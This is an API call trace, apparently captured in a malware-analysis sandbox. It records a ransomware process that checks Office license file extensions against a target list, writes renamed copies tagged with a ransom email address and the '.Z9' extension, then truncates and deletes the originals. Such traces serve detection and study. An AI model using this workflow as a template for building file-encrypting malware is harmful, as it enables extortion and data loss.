	[0187.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.698] lstrlenW (lpString=".doc") returned 4
	[0187.698] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.698] lstrlenW (lpString=".docx") returned 5
	[0187.698] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.698] lstrlenW (lpString=".pdf") returned 4
	[0187.698] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.698] lstrlenW (lpString=".xls") returned 4
	[0187.698] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.698] lstrlenW (lpString=".xlsx") returned 5
	[0187.699] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.699] lstrlenW (lpString=".ppt") returned 4
	[0187.699] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.699] lstrlenW (lpString=".zip") returned 4
	[0187.699] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.699] lstrlenW (lpString=".rar") returned 4
	[0187.699] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.699] lstrlenW (lpString=".bz2") returned 4
	[0187.699] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.699] lstrlenW (lpString=".7z") returned 3
	[0187.699] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.699] lstrlenW (lpString=".dbf") returned 4
	[0187.699] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.699] lstrlenW (lpString=".1cd") returned 4
	[0187.699] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Grace-ul-oob.xrm-ms") returned 83
	[0187.699] lstrlenW (lpString=".jpg") returned 4
	[0187.699] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.699] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.699] lstrlenW (lpString="O365HomePremR_Subscription1-ppd.xrm-ms") returned 38
	[0187.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0187.700] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=26541) returned 1
	[0187.700] CloseHandle (hObject=0x390) returned 1
	[0187.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 0x220
	[0187.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0187.701] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.701] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0187.702] GetLastError () returned 0x0
	[0187.702] ReadFile (in: hFile=0x390, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0187.735] WriteFile (in: hFile=0x424, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0187.736] ReadFile (in: hFile=0x390, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.736] WriteFile (in: hFile=0x424, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x120, lpOverlapped=0x0) returned 1
	[0187.736] SetEndOfFile (hFile=0x424) returned 1
	[0187.737] CloseHandle (hObject=0x424) returned 1
	[0187.740] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.740] SetEndOfFile (hFile=0x390) returned 1
	[0187.826] CloseHandle (hObject=0x390) returned 1
	[0187.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ppd.xrm-ms")) returned 1
	[0187.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.844] lstrlenW (lpString=".doc") returned 4
	[0187.844] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.844] lstrlenW (lpString=".docx") returned 5
	[0187.844] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.844] lstrlenW (lpString=".pdf") returned 4
	[0187.844] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.844] lstrlenW (lpString=".xls") returned 4
	[0187.844] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.844] lstrlenW (lpString=".xlsx") returned 5
	[0187.844] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.844] lstrlenW (lpString=".ppt") returned 4
	[0187.844] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.844] lstrlenW (lpString=".zip") returned 4
	[0187.844] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.844] lstrlenW (lpString=".rar") returned 4
	[0187.844] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.844] lstrlenW (lpString=".bz2") returned 4
	[0187.844] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.844] lstrlenW (lpString=".7z") returned 3
	[0187.844] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.844] lstrlenW (lpString=".dbf") returned 4
	[0187.844] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.844] lstrlenW (lpString=".1cd") returned 4
	[0187.845] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.845] lstrlenW (lpString=".jpg") returned 4
	[0187.845] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.845] lstrlenW (lpString=".doc") returned 4
	[0187.845] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.845] lstrlenW (lpString=".docx") returned 5
	[0187.845] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.845] lstrlenW (lpString=".pdf") returned 4
	[0187.845] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.845] lstrlenW (lpString=".xls") returned 4
	[0187.845] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.845] lstrlenW (lpString=".xlsx") returned 5
	[0187.845] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.845] lstrlenW (lpString=".ppt") returned 4
	[0187.845] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.845] lstrlenW (lpString=".zip") returned 4
	[0187.845] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.845] lstrlenW (lpString=".rar") returned 4
	[0187.845] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.845] lstrlenW (lpString=".bz2") returned 4
	[0187.845] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.845] lstrlenW (lpString=".7z") returned 3
	[0187.845] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.845] lstrlenW (lpString=".dbf") returned 4
	[0187.845] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.845] lstrlenW (lpString=".1cd") returned 4
	[0187.845] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88
	[0187.845] lstrlenW (lpString=".jpg") returned 4
	[0187.845] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.846] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.846] lstrlenW (lpString="O365HomePremR_Subscription3-ppd.xrm-ms") returned 38
	[0187.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0187.846] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=26541) returned 1
	[0187.846] CloseHandle (hObject=0x390) returned 1
	[0187.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 0x220
	[0187.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0187.847] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.847] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0187.848] GetLastError () returned 0x0
	[0187.848] ReadFile (in: hFile=0x390, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0187.935] WriteFile (in: hFile=0x30c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0187.936] ReadFile (in: hFile=0x390, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.936] WriteFile (in: hFile=0x30c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x120, lpOverlapped=0x0) returned 1
	[0187.936] SetEndOfFile (hFile=0x30c) returned 1
	[0187.937] CloseHandle (hObject=0x30c) returned 1
	[0187.937] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.937] SetEndOfFile (hFile=0x390) returned 1
	[0187.941] CloseHandle (hObject=0x390) returned 1
	[0187.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 1
	[0187.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.943] lstrlenW (lpString=".doc") returned 4
	[0187.943] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.943] lstrlenW (lpString=".docx") returned 5
	[0187.943] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.943] lstrlenW (lpString=".pdf") returned 4
	[0187.943] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.943] lstrlenW (lpString=".xls") returned 4
	[0187.943] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.943] lstrlenW (lpString=".xlsx") returned 5
	[0187.943] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.943] lstrlenW (lpString=".ppt") returned 4
	[0187.943] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.943] lstrlenW (lpString=".zip") returned 4
	[0187.943] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.943] lstrlenW (lpString=".rar") returned 4
	[0187.943] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.943] lstrlenW (lpString=".bz2") returned 4
	[0187.944] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.944] lstrlenW (lpString=".7z") returned 3
	[0187.944] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.944] lstrlenW (lpString=".dbf") returned 4
	[0187.944] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.944] lstrlenW (lpString=".1cd") returned 4
	[0187.944] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.944] lstrlenW (lpString=".jpg") returned 4
	[0187.944] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.944] lstrlenW (lpString=".doc") returned 4
	[0187.944] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.944] lstrlenW (lpString=".docx") returned 5
	[0187.944] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.944] lstrlenW (lpString=".pdf") returned 4
	[0187.944] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.944] lstrlenW (lpString=".xls") returned 4
	[0187.944] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.944] lstrlenW (lpString=".xlsx") returned 5
	[0187.944] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.944] lstrlenW (lpString=".ppt") returned 4
	[0187.944] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.945] lstrlenW (lpString=".zip") returned 4
	[0187.945] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.945] lstrlenW (lpString=".rar") returned 4
	[0187.945] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.945] lstrlenW (lpString=".bz2") returned 4
	[0187.945] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.945] lstrlenW (lpString=".7z") returned 3
	[0187.945] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.945] lstrlenW (lpString=".dbf") returned 4
	[0187.945] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.945] lstrlenW (lpString=".1cd") returned 4
	[0187.945] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88
	[0187.945] lstrlenW (lpString=".jpg") returned 4
	[0187.945] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.945] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0187.945] lstrlenW (lpString="O365HomePremR_Subscription5-pl.xrm-ms") returned 37
	[0187.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0187.947] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11199) returned 1
	[0187.947] CloseHandle (hObject=0x390) returned 1
	[0187.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 0x220
	[0187.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0187.948] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.948] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0187.951] GetLastError () returned 0x0
	[0187.951] ReadFile (in: hFile=0x390, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0188.038] WriteFile (in: hFile=0x30c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0188.039] ReadFile (in: hFile=0x390, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.039] WriteFile (in: hFile=0x30c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0188.039] SetEndOfFile (hFile=0x30c) returned 1
	[0188.039] CloseHandle (hObject=0x30c) returned 1
	[0188.039] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.039] SetEndOfFile (hFile=0x390) returned 1
	[0188.042] CloseHandle (hObject=0x390) returned 1
	[0188.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0188.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 1
	[0188.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.043] lstrlenW (lpString=".doc") returned 4
	[0188.043] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0188.043] lstrlenW (lpString=".docx") returned 5
	[0188.044] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0188.044] lstrlenW (lpString=".pdf") returned 4
	[0188.044] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0188.044] lstrlenW (lpString=".xls") returned 4
	[0188.044] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0188.044] lstrlenW (lpString=".xlsx") returned 5
	[0188.044] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0188.044] lstrlenW (lpString=".ppt") returned 4
	[0188.044] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0188.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.044] lstrlenW (lpString=".zip") returned 4
	[0188.044] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0188.044] lstrlenW (lpString=".rar") returned 4
	[0188.044] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
